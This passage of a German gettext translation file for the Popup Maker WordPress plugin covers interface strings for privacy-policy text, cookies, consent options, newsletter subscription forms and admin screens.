unbestimmte Zeit für analytische Auswertungszwecke und für den späteren Export gespeichert." #: classes/Privacy.php:119 msgid "How long we retain your data" msgstr "Wie lange wir deine Daten speichern" #: classes/Privacy.php:117 msgid "Popup Maker anonymously tracks popup views and conversions." msgstr "Popup Maker zeichnet anonymisiert Pop-up-Aufrufe und Conversions auf." #: classes/Privacy.php:114 msgid "We use anonymous cookies to prevent users from seeing the same popup repetitively in an attempt to make our users experience more pleasant while still delivering time sensitive messaging." msgstr "Wir verwenden anonyme Cookies, um zu verhindern, dass Benutzer das gleiche Pop-up wiederholt sehen, um unseren Benutzern eine angenehmere Erfahrung zu ermöglichen und gleichzeitig Zeit-sensible Nachrichten zu liefern." #: classes/Privacy.php:75 msgid "Below is a list of all cookies currently registered within your popup settings. These are here for you to disclose if you are so required." msgstr "Nachfolgend findest du eine Liste aller Cookies, die derzeit in deinen Pop-up-Einstellungen registriert sind. Diese dienen dir zum Vorweisen, wenn du dazu aufgefordert wirst." #: classes/Privacy.php:69 msgid "This may result in cookies being saved for an extended period of time. These are non-tracking cookies used only by our popups." msgstr "Dies kann dazu führen, dass Cookies über einen längeren Zeitraum gespeichert werden. Dies sind keine Tracking-Cookies, die nur von unseren Pop-ups verwendet werden." #: classes/Privacy.php:68 msgid "Popup Maker uses cookies for most popups. The primary function is to prevent your users from being annoyed by seeing the same popup repeatedly." msgstr "Popup Maker verwendet für die meisten Pop-ups Cookies. Die Hauptfunktion besteht darin, zu verhindern, dass deine Benutzer verärgert werden, indem sie das gleiche Pop-up wiederholt sehen." #: classes/Privacy.php:65 msgid "You can opt our or unsubscribe at any time in the future by clicking link in the bottom of any email." msgstr "Du kannst dich jederzeit wieder abmelden, indem du auf den Link am Ende jeder E-Mail klickst." #: classes/Privacy.php:65 msgid "These subscriptions are used to notify you about related content, discounts & other special offers." msgstr "Diese Abonnements werden verwendet, um dich über ähnliche Inhalte, Rabatte und andere Sonderangebote zu informieren." #: classes/Privacy.php:63 msgid "For example, you may note that you keep form submissions for ongoing marketing purposes." msgstr "So kannst du beispielsweise feststellen, dass du die Formularvorlagen für laufende Marketingzwecke aufbewahrst." #: classes/Privacy.php:62 msgid "If you have used them in your popups to collect email subscribers, use this subsection to note what personal data is captured when someone submits a subscription form, and how long you keep it." msgstr "Wenn du sie in deinen Popups verwendet hast, um E-Mail-Abonnenten zu sammeln, benutze diesen Unterabschnitt, um zu notieren, welche persönlichen Daten erfasst werden, wenn jemand ein Abonnementformular abschickt, und wie lange du dieses aufbewahrst." #: classes/Privacy.php:61 msgid "Popup Maker subscription forms are not enabled by default." msgstr "Popup Maker Abonnement-Formulare sind standardmäßig nicht aktiviert." #: classes/Privacy.php:60 msgid "Subscription forms" msgstr "Abonnement-Formulare" #: classes/Privacy.php:58 msgid "What personal data we collect and why we collect it" msgstr "Welche personenbezogenen Daten sammeln wir und warum" #: classes/Privacy.php:54 msgid "This information is only for guidance and not to be considered as legal advice." msgstr "Diese Informationen dienen nur der Orientierung und stellen keine Rechtsberatung dar." #: classes/Privacy.php:54 msgid "Disclaimer:" msgstr "Haftungsausschluss:" #: classes/Privacy.php:53 msgid "You should include the information below in the correct sections of you privacy policy." msgstr "Du solltest die folgenden Informationen in die richtigen Abschnitte deiner Datenschutzerklärung aufnehmen." #: classes/Privacy.php:52 msgid "This information serves as a guide on what sections need to be modified due to usage of Popup Maker and its extensions." msgstr "Diese Informationen dienen als Leitfaden, welche Abschnitte aufgrund der Verwendung von Popup Maker und seinen Erweiterungen geändert werden müssen." #: classes/Privacy.php:52 msgid "Hello," msgstr "Hallo," #: classes/Privacy.php:48 msgid "Suggested text:" msgstr "Vorgeschlagener Text:" #: classes/Admin/Settings.php:778 msgid "Subscription Forms" msgstr "Abonnementformulare" #: classes/Admin/Settings.php:743 classes/Shortcode/Subscribe.php:65 #: classes/Shortcode/Subscribe.php:95 msgid "Privacy" msgstr "Datenschutz" #: classes/Admin/Settings.php:430 classes/Shortcode/Subscribe.php:409 msgid "If you opt in above we use this information send related content, discounts and other special offers." msgstr "Wenn du zustimmst verwenden wir deine Informationen um dir relevante Inhalte, Rabatte und andere Sonderangebote zuzusenden." #: classes/Admin/Settings.php:422 classes/Shortcode/Subscribe.php:401 msgid "Consent Usage Text" msgstr "Text zur Einwilligung in die Nutzung" #: classes/Admin/Settings.php:413 classes/Shortcode/Subscribe.php:389 msgid "Consent No Label" msgstr "Einwilligung-Nein-Label" #: classes/Admin/Settings.php:404 classes/Shortcode/Subscribe.php:377 msgid "Consent Yes Label" msgstr "Einwilligung-Ja-Label" #: classes/Admin/Settings.php:395 classes/Shortcode/Subscribe.php:365 msgid "Stacked" msgstr "Gestapelt" #: classes/Admin/Settings.php:391 classes/Shortcode/Subscribe.php:361 msgid "Consent Radio Layout" msgstr "Einwilligung Radio-Layout" #: classes/Admin/Settings.php:382 classes/Privacy.php:283 #: classes/Shortcode/Subscribe.php:341 msgid "Consent Required" msgstr "Zustimmung notwendig" #: classes/Admin/Settings.php:374 classes/Shortcode/Subscribe.php:354 msgid "Checkbox" msgstr "Checkbox" #: classes/Admin/Settings.php:373 classes/Shortcode/Subscribe.php:353 msgid "Radio" msgstr "Radio" #: classes/Admin/Settings.php:370 msgid "Radio forces the user to make a choice, often resulting in more opt-ins." msgstr "Radio-Buttons zwingen den Benutzer, eine Auswahl zu treffen. Dies resultiert oft in mehr Zustimmungen." #: classes/Admin/Settings.php:369 msgid "Consent Field Type" msgstr "Zustimmungs-Feldtyp auswählen" #: classes/Admin/Settings.php:363 classes/Shortcode/Subscribe.php:336 msgid "Notify me about related content and special offers." msgstr "Benachrichtige mich über ähnliche Inhalte und Sonderangebote." #: classes/Admin/Settings.php:361 classes/Privacy.php:286 msgid "Consent Text" msgstr "Einwilligungstext" #: classes/Admin/Settings.php:352 msgid "Always enable consent field on subscription forms." msgstr "Aktiviere immer das Einwilligungsfeld auf den Anmeldeformularen." #: classes/Admin/Settings.php:349 msgid "These settings only pertain to usage of the Popup Maker built in subscription form shortcode, not 3rd party form plugins." msgstr "Diese Einstellungen beziehen sich nur auf die Verwendung des Popup Maker, der im Abonnement-Formular-Shortcode vorgesehen ist, nicht auf Plugins von Drittanbietern." #: classes/Admin/Settings.php:349 msgid "Disclaimer" msgstr "Disclaimer" #: classes/Admin/Settings.php:322 msgid "You must agree to continue." msgstr "Du musst zustimmen, um fortzufahren." #: classes/Admin/Settings.php:319 msgid "Consent Required Message" msgstr "Zur Einwilligung erforderliche Nachricht" #: classes/Extension/Activator.php:183 classes/Utils/Prerequisites.php:310 #: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:421 msgid "update it" msgstr "aktualisieren" #. translators: 1: Number of items updated. 2: Singular or plural label. #: classes/Abstract/Upgrade/Posts.php:208 msgid "Updating %1$d %2$s." msgid_plural "Updating %1$d %2$s." msgstr[0] "%1$d %2$s wird aktualisiert." msgstr[1] "%1$d %2$s werden aktualisiert." #: classes/Admin/Popups.php:924 msgid "Disable automatic re-triggering of popup after non-ajax form submission." msgstr "Verhindern, dass das Absenden von Nicht-AJAX-Formularen automatisch erneut ein Popup auslöst." #: classes/Admin/Popups.php:426 msgid "Triggers & Cookies" msgstr "Auslöser & Cookies" #. translators: 1. URL to view troubleshooting guide. 2. Closing HTML tag. #. translators: 1. URL to troubleshooting guide. 2. Closing tag. #: classes/Admin/Popups.php:262 classes/Admin/Settings.php:662 #: classes/Admin/Themes.php:151 msgid "If you are seeing this, the page is still loading or there are Javascript errors on this page. %1$sView troubleshooting guide%2$s" msgstr "Wenn du dies siehst, wird die Seite noch geladen oder es gibt Javascript-Fehler auf dieser Seite. %1$sSiehe Anleitung zur Problembehandlung%2$s" #: classes/Admin/Settings.php:514 msgid "Disable the Popup Maker shortcode button" msgstr "Shortcode-Button von Popup Maker deaktivieren" #: includes/integrations/class-pum-cf7.php:162 #: includes/integrations/class-pum-gravity-forms.php:153 #: includes/integrations/ninja-forms/Actions/ClosePopup.php:53 msgid "seconds" msgstr "Sekunden" #: classes/Admin/Themes.php:198 msgid "Did you know:" msgstr "Wusstest du schon:" #: classes/Admin/Themes.php:194 msgid "Clicking on an element in this theme preview will take you to its relevant settings in the editor?" msgstr "Das Klicken auf ein Element in dieser Theme-Vorschau wird dich zu dessen relevanten Einstellungen im Editor führen?" #: classes/Admin/Themes.php:193 msgid "If you move this theme preview to the bottom of your sidebar here it will follow you down the page?" msgstr "Wenn du diese Theme-Vorschau hier zum Ende deiner Seitenleiste bewegst, wird es im Sichtbereich deiner Seite bleiben." #: classes/Utils/Upgrades.php:742 msgid "No upgrades currently required." msgstr "Aktuell sind keine Upgrades erforderlich." #: classes/Utils/Upgrades.php:731 msgid "Upgrades" msgstr "Upgrades" #: classes/Utils/Upgrades.php:393 msgid "Finish Upgrades" msgstr "Beende Upgrades" #: classes/Utils/Upgrades.php:387 msgid "This can sometimes take a few minutes, are you ready to begin?" msgstr "Das kann ein paar Minuten dauern, können wir starten?" #. translators: %2$s: Post Type Plural: "Popups", "Popup Themes" #: classes/Types.php:128 msgctxt "Post Type Plural: \"Popups\", \"Popup Themes\"" msgid "No %2$s found in Trash" msgstr "Kein %2$s im Papierkorb gefunden" #. translators: %2$s: Post Type Plural: "Popups", "Popup Themes" #: classes/Types.php:126 msgctxt "Post Type Plural: \"Popups\", \"Popup Themes\"" msgid "No %2$s found" msgstr "Kein %2$s gefunden" #. translators: %2$s: Post Type Plural: "Popups", "Popup Themes" #: classes/Types.php:124 msgctxt "Post Type Plural: \"Popups\", \"Popup Themes\"" msgid "Search %2$s" msgstr "Suche %2$s" #. translators: %1$s: Post Type Singular: "Popup", "Popup Theme" #: classes/Types.php:122 msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\"" msgid "View %1$s" msgstr "%1$s anzeigen" #. translators: %2$s: Post Type Plural: "Popups", "Popup Themes" #: classes/Types.php:120 msgctxt "Post Type Plural: \"Popups\", \"Popup Themes\"" msgid "All %2$s" msgstr "Alle %2$s" #. translators: %1$s: Post Type Singular: "Popup", "Popup Theme" #: classes/Types.php:118 msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\"" msgid "New %1$s" msgstr "Neues %1$s" #. translators: %1$s: Post Type Singular: "Popup", "Popup Theme" #: classes/Types.php:116 msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\"" msgid "Edit %1$s" msgstr " %1$s bearbeiten" #. translators: %1$s: Post Type Singular: "Popup", "Popup Theme" #: classes/Types.php:112 msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\"" msgid "Create New %1$s" msgstr "Neues %1$s erstellen" #. translators: %1$s: Post Type Singular: "Popup", "Popup Theme" #: classes/Types.php:114 msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\"" msgid "Create %1$s" msgstr "%1$s erstellen" #: classes/Triggers.php:338 msgid "Choose which cookies will disable this trigger" msgstr "Wähle aus, welche Cookies diesen Auslöser deaktivieren" #: classes/Triggers.php:198 msgid "Time Delay Settings" msgstr "Einstellungen für Zeitverzögerung" #: classes/Triggers.php:197 msgid "Time Delay / Auto Open" msgstr "Zeitverzögerung / Automatisches Öffnen" #: classes/Triggers.php:183 msgid ".class-here" msgstr ".class-here" #: classes/Triggers.php:182 msgid " .class-here, .class-2-here, #button_id" msgstr " .class-here, .class-2-here, #button_id" #: classes/Triggers.php:182 msgid "For more than one selector, separate by comma (,)" msgstr "Wenn du mehr als einen Selektor hast, separiere diese mit einem Komma (,)" #. translators: 1. Event name. #: classes/Site/Assets.php:301 msgid "Event: %s" msgstr "Ereignis: %s" #: classes/Site/Assets.php:299 msgid "Tablet Disabled:" msgstr "Tablet deaktiviert:" #: classes/Site/Assets.php:298 msgid "Mobile Disabled:" msgstr "Mobil deaktiviert:" #: classes/Site/Assets.php:297 msgid "Selector:" msgstr "Selektor:" #: classes/Site/Assets.php:296 msgid "Settings:" msgstr "Einstellungen:" #: classes/Site/Assets.php:295 msgid "Cookie:" msgstr "Cookie:" #: classes/Site/Assets.php:293 msgid "Delay:" msgstr "Verzögerung:" #: classes/Site/Assets.php:289 msgid "Method Arguments:" msgstr "Methoden-Argumente:" #: classes/Site/Assets.php:288 msgid "Method Call:" msgstr "Methoden-Aufruf:" #: classes/Site/Assets.php:287 msgid "Theme ID: " msgstr "Theme ID: " #: classes/Site/Assets.php:286 msgid "Popup: #" msgstr "Popup: #" #: classes/Site/Assets.php:285 msgid "Popups Initialized" msgstr "Popups initialisiert" #: classes/Site/Assets.php:284 msgid "Popups Initializing" msgstr "Popups werden initialisiert" #: classes/Site/Assets.php:283 msgid "Localized variables" msgstr "Lokalisierte Variablen" #: classes/Site/Assets.php:282 msgid "Global Information" msgstr "Globale Information" #. translators: 1. URL to documentation. #: classes/Site/Assets.php:279 msgid "For more information on how to use this information visit %s" msgstr "Um mehr darüber zu erfahren wie du diese Information nutzen kannst besuche %s" #: classes/Site/Assets.php:276 msgid "Debug started at:" msgstr "Fehlerbereinigung begonnen um:" #: classes/Site/Assets.php:275 msgid "Debug Mode Enabled" msgstr "Fehlerbereinigungsmodus aktiviert" #: classes/Shortcode/Subscribe.php:784 msgid "Subscription Form Placeholder" msgstr "Platzhalter Anmeldeformular" #: classes/Shortcode/Subscribe.php:456 msgid "Leave blank to refresh, or enter a url that users will be taken to after success." msgstr "Lasse dies leer, um zu aktualisieren oder gib eine URL ein zu welcher Benutzer nach Erfolg weitergeleitet werden sollen." #: classes/Shortcode/Subscribe.php:455 msgid "Redirect URL" msgstr "Weiterleitungs-URL" #: classes/Shortcode/Subscribe.php:451 msgid "Enable refreshing the page or redirecting after success." msgstr "Ermögliche das Aktualisieren der Seite oder Weiterleitung nach Erfolg." #: classes/Shortcode/Subscribe.php:301 msgid "Choose how you want your form styled." msgstr "Wähle, wie du dein Formular gestaltet haben möchtest." #: classes/Shortcode/Subscribe.php:300 msgid "Form Style" msgstr "Formular-Stil" #: classes/Shortcode/Subscribe.php:289 msgid "Choose a form alignment." msgstr "Wähle eine Ausrichtung für das Formular." #: classes/Shortcode/Subscribe.php:288 msgid "Form Alignment" msgstr "Formular-Ausrichtung" #: classes/Admin/Settings.php:394 classes/Shortcode/Subscribe.php:282 #: classes/Shortcode/Subscribe.php:364 msgid "Inline" msgstr "Inline" #: classes/Shortcode/Subscribe.php:281 msgid "Block" msgstr "Block" #: classes/Shortcode/Subscribe.php:278 msgid "Choose a form layout." msgstr "Wähle ein Formular-Layout." #: classes/Shortcode/Subscribe.php:277 msgid "Form Layout" msgstr "Formular Layout" #: classes/Shortcode/Subscribe.php:226 msgid "Subscribe" msgstr "Abonnieren" #: classes/Shortcode/Subscribe.php:225 msgid "Submit Button" msgstr "Senden-Button" #: classes/Shortcode/Subscribe.php:185 msgid "Field label text" msgstr "Feld-Label-Text" #: classes/Shortcode/Subscribe.php:179 msgid "Disables the display of field labels." msgstr "Deaktiviert die Anzeige von Feldbezeichnern." #: classes/Shortcode/Subscribe.php:178 msgid "Disable Labels" msgstr "Labels deaktivieren" #: classes/Shortcode/Subscribe.php:167 msgid "Removes the name field." msgstr "Entfernt das Namensfeld." #: classes/Shortcode/Subscribe.php:166 msgid "Name Disabled" msgstr "Name deaktiviert" #: classes/Shortcode/Subscribe.php:158 msgid "Makes the name field optional." msgstr "Macht das Namensfeld optional." #: classes/Shortcode/Subscribe.php:157 msgid "Name Optional" msgstr "Name optional" #: classes/Shortcode/Subscribe.php:151 msgid "First & Last" msgstr "Vor- und Nachname" #: classes/Shortcode/Subscribe.php:150 msgid "First Only" msgstr "Nur Vorname" #: classes/Shortcode/Subscribe.php:149 msgid "Full" msgstr "Voll" #: classes/Shortcode/Subscribe.php:145 msgid "Name Field Type" msgstr "Name des Feld-Typs" #: classes/Shortcode/Subscribe.php:135 msgid "Choose which service provider to submit to." msgstr "Wähle zu welchem Dienst-Provider das übermittelt werden soll." #: classes/Shortcode/Subscribe.php:134 msgid "Service Provider" msgstr "Dienst-Provider" #: classes/Shortcode/Subscribe.php:99 classes/Shortcode/Subscribe.php:450 msgid "Redirect" msgstr "Weiterleiten" #: classes/Shortcode/Subscribe.php:94 msgid "Placeholders" msgstr "Platzhalter" #: classes/Shortcode/Subscribe.php:93 classes/Shortcode/Subscribe.php:184 msgid "Labels" msgstr "Beschriftungen" #: classes/Shortcode/Subscribe.php:92 msgid "Fields" msgstr "Felder" #: classes/Cookies.php:96 classes/Shortcode/Subscribe.php:64 #: classes/Triggers.php:222 msgid "Form" msgstr "Formular" #: classes/Shortcode/Subscribe.php:48 msgid "A customizable newsletter subscription form." msgstr "Ein individualisierbares Newsletter-Anmeldeformular." #: classes/Cookies.php:101 classes/Shortcode/Subscribe.php:41 #: classes/Triggers.php:227 msgid "Subscription Form" msgstr "Anmeldeformular" #: classes/Shortcode/PopupTrigger.php:102 msgid "Custom Popup ID" msgstr "Individuelle Popup-ID" #: classes/Shortcode/PopupClose.php:56 msgid "The HTML tag used for this element." msgstr "Das HTML-Tag das für dieses Element verwendet wurde." #: classes/ListTable.php:929 msgid "Last page" msgstr "Letzte Seite" #: classes/ListTable.php:918 msgid "Next page" msgstr "Nächste Seite" #. translators: %1$s: Current page number, %2$s: Total number of pages. #: classes/ListTable.php:907 msgctxt "paging" msgid "%1$s of %2$s" msgstr "%1$s von %2$s" #: classes/ListTable.php:895 classes/ListTable.php:899 msgid "Current Page" msgstr "Aktuelle Seite" #: classes/ListTable.php:888 msgid "Previous page" msgstr "Vorherige Seite" #: classes/ListTable.php:877 msgid "First page" msgstr "Erste Seite" #. translators: %s: Number of items. #: classes/ListTable.php:827 classes/ListTable.php:1453 msgid "%s item" msgid_plural "%s items" msgstr[0] "%s Element" msgstr[1] "%s Elemente" #: classes/ListTable.php:747 msgid "No pending comments" msgstr "Keine ausstehenden Kommentare" #: classes/ListTable.php:724 msgid "No approved comments" msgstr "Keine freigegebenen Kommentare" #: classes/ListTable.php:702 classes/ListTable.php:724 #: classes/ListTable.php:747 msgid "No comments" msgstr "Keine Kommentare" #. translators: %s: Number of pending comments. #: classes/ListTable.php:694 msgid "%s pending comment" msgid_plural "%s pending comments" msgstr[0] "%s ausstehender Kommentar" msgstr[1] "%s ausstehende Kommentare" #. translators: %s: Number of approved comments. #: classes/ListTable.php:689 msgid "%s approved comment" msgid_plural "%s approved comments" msgstr[0] "%s freigegebener Kommentar" msgstr[1] "%s freigegegebene Kommentare" #. translators: %s: number of comments #: classes/ListTable.php:684 msgid "%s comment" msgid_plural "%s comments" msgstr[0] "%s Kommentar" msgstr[1] "%s Kommentare" #. translators: 1: month name, 2: 4-digit year #: classes/ListTable.php:628 msgid "%1$s %2$d" msgstr "%1$s %2$d" #: classes/ListTable.php:612 msgid "All dates" msgstr "Alle Daten" #: classes/ListTable.php:610 msgid "Filter by date" msgstr "Nach Datum filtern" #: classes/ListTable.php:544 classes/ListTable.php:1426 msgid "Show more details" msgstr "Mehr Details anzeigen" #: classes/ListTable.php:489 dist/block-editor/block-editor.js:6 msgid "Apply" msgstr "Anwenden" #: classes/ListTable.php:479 msgid "Bulk Actions" msgstr "Mehrfachaktionen" #: classes/ListTable.php:477 msgid "Select bulk action" msgstr "Mehrfachaktion auswählen" #: classes/ListTable.php:343 msgid "No items found." msgstr "Kein Element gefunden." #: classes/ListTable.php:172 msgid "Excerpt View" msgstr "Ansicht mit Textauszug" #: classes/ListTable.php:171 msgid "List View" msgstr "Listen-Ansicht" #. translators: 1. Opening HTML link tag, 2. Closing HTML tag. #: classes/Licensing.php:141 msgid "Your license key has reached its activation limit. %1$sView possible upgrades%2$s now." msgstr "Dein Lizenzschlüssel hat das Limit für Aktivierungen erreicht. %1$sZeige mögliche Upgrades%2$s an." #. translators: %1$s: bold start, %2$s: bold end. #: classes/Cookies.php:248 msgid "%1$sNote%2$s: Modern browsers that reopen your last browser session's tabs do not properly clear session cookies" msgstr "%1$sHinweis%2$s: Moderne Browser, die die Tabs der letzten Browser-Session neu öffnen, löschen Session-Cookies nicht korrekt." #: classes/Cookies.php:122 msgid "Subscription Form: Already Subscribed" msgstr "Anmeldeformular: Bereits abonniert" #: classes/Cookies.php:119 msgid "Subscription Form: Successful" msgstr "Anmeldeformular: Erfolgreich" #: classes/Conditions.php:511 msgid "404 Error Page" msgstr "404 Fehler-Seite" #: classes/Conditions.php:505 msgid "Search Result Page" msgstr "Suchergebnis-Seite" #: classes/Batch/Process/Registry.php:85 msgid "An invalid batch class handler file has been supplied." msgstr "Eine ungültige Gruppen-Klassen Handler-Datei wurde ausgegeben." #: classes/Batch/Process/Registry.php:80 msgid "No batch class handler file has been supplied." msgstr "Es wurde keine Batch-Klassen Handler-Datei ausgegeben." #: classes/Batch/Process/Registry.php:76 msgid "A batch process class must be specified." msgstr "Eine Batch-Prozess-Klasse muss festgelegt werden." #: classes/Analytics.php:188 msgid "Event Type" msgstr "Ereignis-Typ" #: classes/Admin/Tools.php:92 msgid "Popup Maker Tools" msgstr "Popup Maker Werkzeuge" #: classes/Admin/Templates.php:749 msgid "Select a cookie type." msgstr "Wähle einen Cookie-Typ." #: classes/Admin/Templates.php:748 msgid "When should your cookie be created?" msgstr "Wann soll dein Cookie erstellt werden?" #: classes/Admin/Templates.php:688 msgid "Cookies control the repeat display of a popup." msgstr "Cookies kontrollieren die wiederholte Anzeige von Popups." #: classes/Admin/Templates.php:618 classes/Admin/Templates.php:651 msgid "Choose a condition" msgstr "Wähle eine Bedingung" #: classes/Admin/Templates.php:613 msgid "Choose a condition to target your popup to specific content or various other segments." msgstr "Wähle eine Bedingung um dein Popup für spezielle Inhalte oder bestimmte andere Segmente zu planen." #. translators: 1. button text. 2. warning icon. #: classes/Admin/Templates.php:593 msgid "Click the %1$s button for any condition to check the opposite of the chosen condition. The button will turn red %2$s when active." msgstr "Klicke den %1$s-Button, um für jede Bedingung um das Gegenteil der ausgewählten Bedingung zu wählen. Der Button wird rot %2$s wenn aktiviert." #: classes/Admin/Templates.php:588 msgid "Target the popup to a specific segment by adding conditions below." msgstr "Plane das Popup für ein spezielles Segment indem du unten Bedingungen hinzufügst. " #: classes/Admin/Templates.php:587 msgid "By default, this popup will be loaded on every page of your site for all users." msgstr "Standardmäßig wird dieses Popup auf jeder Seite deiner Website für alle Benutzer geladen." #. translators: 1. contextual help link text. #: classes/Admin/Templates.php:411 classes/Admin/Templates.php:576 #: classes/Admin/Templates.php:684 msgid "Learn more about %s" msgstr "Erfahre mehr über %s" #: classes/Admin/Templates.php:569 msgid "Conditions allow you to show your popup to a targeted segment of your sites users." msgstr "Bedingungen ermöglichen es, dass Dein PopUp in einem festgelegten Segment Deiner Website Benutzer erscheint." #: classes/Admin/Templates.php:415 msgid "Triggers cause a popup to open." msgstr "Auslöser lösen das Öffnen eines Popups aus." #: classes/Admin/Templates.php:258 msgid "Value" msgstr "Wert" #: classes/Admin/Templates.php:254 msgid "Label" msgstr "Label" #: classes/Admin/Templates.php:250 msgid "Action" msgstr "Aktion" #: classes/Admin/Templates.php:246 msgid "Category" msgstr "Kategorie" #: classes/Admin/Templates.php:206 msgid "Inactive" msgstr "Nicht aktiv" #: classes/Admin/Templates.php:203 msgid "Active" msgstr "Aktiv" #: classes/Admin/Templates.php:52 msgid "Check" msgstr "Prüfen" #: classes/Admin/Subscribers.php:78 msgid "Subscribers Per Page" msgstr "Abonnenten je Seite" #: classes/Admin/Subscribers.php:46 msgid "Find" msgstr "Finden" #: classes/Admin/Subscribers/Table.php:426 msgid "Invalid Nonce" msgstr "Ungültige Nonce" #: includes/modules/admin-bar.php:157 msgid "Success" msgstr "Erfolgreich" #: classes/Admin/Subscribers/Table.php:402 #: classes/Admin/Subscribers/Table.php:409 msgid "Subscriber deleted!" msgid_plural "Subscribers deleted!" msgstr[0] "Abonnent wurde gelöscht!" msgstr[1] "Abonnenten wurden gelöscht!" #: classes/Admin/Subscribers/Table.php:332 msgid "Delete" msgstr "Löschen" #. translators: %s is the name of the subscriber. #: classes/Admin/Subscribers/Table.php:186 msgid "Select %s" msgstr "Wähle %s" #: classes/Admin/Subscribers/Table.php:151 msgid "No subscribers available." msgstr "Keine Abonnenten verfügbar." #: classes/Admin/Subscribers/Table.php:108 msgctxt "column name" msgid "Subscribed On" msgstr "Eingetragen am" #: classes/Admin/Subscribers/Table.php:105 classes/Privacy.php:251 #: classes/Shortcode/Subscribe.php:208 classes/Shortcode/Subscribe.php:213 #: classes/Shortcode/Subscribe.php:261 classes/Shortcode/Subscribe.php:265 msgid "Last Name" msgstr "Nachname" #: classes/Admin/Subscribers/Table.php:104 classes/Privacy.php:245 #: classes/Shortcode/Subscribe.php:199 classes/Shortcode/Subscribe.php:204 #: classes/Shortcode/Subscribe.php:253 classes/Shortcode/Subscribe.php:257 msgid "First Name" msgstr "Vorname" #: classes/Admin/Subscribers/Table.php:103 classes/Shortcode/Subscribe.php:190 #: classes/Shortcode/Subscribe.php:245 msgid "Full Name" msgstr "Vollständiger Name" #: classes/Admin/Settings.php:771 msgid "Extension Settings" msgstr "Einstellungen für Erweiterungen" #: classes/Admin/Settings.php:740 msgid "Subscriptions" msgstr "Abonnements" #: classes/Admin/Settings.php:655 msgid "Popup Maker Settings" msgstr "Popup Maker Einstellungen" #: classes/Admin/Settings.php:316 includes/functions/newsletter.php:63 msgid "You are already a subscriber." msgstr "Du hast dich bereits eingetragen." #: classes/Admin/Settings.php:314 classes/Admin/Settings.php:320 msgid "Message to show user who is already subscribed." msgstr "Nachricht die dem Benutzer gezeigt wird der bereits eingetragen ist." #: classes/Admin/Settings.php:313 msgid "Already Subscribed Message" msgstr "Bereits Eingetragen Nachricht" #: classes/Admin/Settings.php:310 includes/functions/newsletter.php:62 msgid "Error occurred when subscribing. Please try again." msgstr "Es gab einen Fehler als du dich eintragen wolltest. Bitte versuche es erneut." #: classes/Admin/Settings.php:308 msgid "Message to show user when an error has occurred." msgstr "Nachricht die dem Benutzer angezeigt wird wenn es einen Fehler gab." #: classes/Admin/Settings.php:307 msgid "Error Message" msgstr "Fehler-Nachricht" #: classes/Admin/Settings.php:304 includes/functions/newsletter.php:65 #: includes/functions/newsletter.php:66 msgid "Email provided is not a valid email address." msgstr "Die angegebene E-Mail ist keine gültige E-Mail-Adresse." #: classes/Admin/Settings.php:298 includes/functions/newsletter.php:64 msgid "Please enter a valid email." msgstr "Bitte gib eine gültige E-Mail an." #: classes/Admin/Settings.php:296 msgid "Message to show user when no email is entered." msgstr "Nachricht die dem Benutzer gezeigt wird wenn keine E-Mail eingetragen wurde." #: classes/Admin/Settings.php:295 msgid "Empty Email Message" msgstr "Leere E-Mail-Nachricht" #: includes/functions/newsletter.php:61 msgid "Please check your email and confirm your subscription." msgstr "Bitte überprüfe deine E-Mails, um dein Abonnement zu bestätigen." #: classes/Admin/Settings.php:302 msgid "Message to show user when an invalid email is entered." msgstr "Nachricht die dem Benutzer gezeigt wird wenn eine ungültige E-Mail eingetragen wurde." #: classes/Admin/Settings.php:301 msgid "Invalid Email Message" msgstr "Ungültige E-Mail-Nachricht" #: classes/Admin/Settings.php:292 includes/functions/newsletter.php:60 msgid "You have been subscribed!" msgstr "Du wurdest eingetragen!" #: classes/Admin/Settings.php:290 msgid "Message to show user when successfuly subscribed." msgstr "Nachricht die dem Benutzer angezeigt wird wenn er sich erfolgreich eingetragen hat." #: classes/Admin/Settings.php:289 msgid "Success Message" msgstr "Erfolgs-Nachricht." #: classes/Admin/Settings.php:279 msgid "The default mailing provider used for the subscription form." msgstr "Der Standard Mail-Provider der für das Anmeldeformular genutzt wurde." #: classes/Admin/Settings.php:278 msgid "Default Newsletter Provider" msgstr "Standard Newsletter Provider" #: classes/Admin/Settings.php:92 msgid "Settings saved successfully!" msgstr "Einstellungen wurden erfolgreich gespeichert!" #: classes/Admin/Settings.php:63 classes/Admin/Tools.php:70 msgid "Dismiss this notice." msgstr "Diese Mitteilung verwerfen." #: classes/Admin/Subscribers/Table.php:314 msgid "N/A" msgstr "Nicht verfügbar" #: classes/Admin/Popups.php:1131 msgid "Lifetime Conversions" msgstr "Konversionen gesamt" #: classes/Admin/Popups.php:1124 msgid "Previous Conversions" msgstr "Vorherige Konversionen" #: classes/Admin/Popups.php:1111 msgid "Reset Counts" msgstr "Zähler zurücksetzen" #: classes/Admin/Popups.php:1105 classes/Admin/Popups.php:1210 msgid "Conversion Rate" msgstr "Konversionsrate" #: classes/Admin/Popups.php:1101 classes/Admin/Popups.php:1209 msgid "Conversions" msgstr "Konversionen" #: classes/Admin/Popups.php:561 msgid "Other Sizes" msgstr "Andere Größen" #: classes/Admin/Popups.php:551 msgid "Responsive Sizes" msgstr "Responsive Größen" #: classes/Admin/Popups.php:443 msgid "Alternate Methods" msgstr "Alternative Methoden" #: classes/Admin/Popups.php:441 msgid "Button" msgstr "Button" #: classes/Admin/Popups.php:408 classes/Admin/Popups.php:438 #: classes/Admin/Popups.php:446 classes/Admin/Themes.php:380 #: classes/Admin/Themes.php:424 classes/Cookies.php:211 #: classes/Triggers.php:369 msgid "Advanced" msgstr "Fortgeschritten" #: classes/Admin/Popups.php:433 classes/Shortcode/Subscribe.php:91 msgid "Appearance" msgstr "Design" #: classes/Admin/Popups.php:423 msgid "General Settings" msgstr "Allgemeine Einstellungen" #: classes/Admin/Popups.php:407 msgid "Targeting" msgstr "Targeting" #: classes/Admin/Popups.php:174 msgid "Required" msgstr "Erforderlich" #: classes/Admin/Popups.php:149 msgid "Optional" msgstr "Optional" #: classes/Admin/Pages.php:56 classes/Admin/Subscribers.php:33 msgid "Subscribers" msgstr "Abonnenten" #: classes/Admin/Assets.php:150 msgid "We are sorry but your browser is not compatible with this kind of file upload. Please upgrade your browser." msgstr "Es tut uns leid, aber dein Browser ist nicht kompatibel mit dieser Art von Datei upload. Bitte upgrade deinen Browser." #: 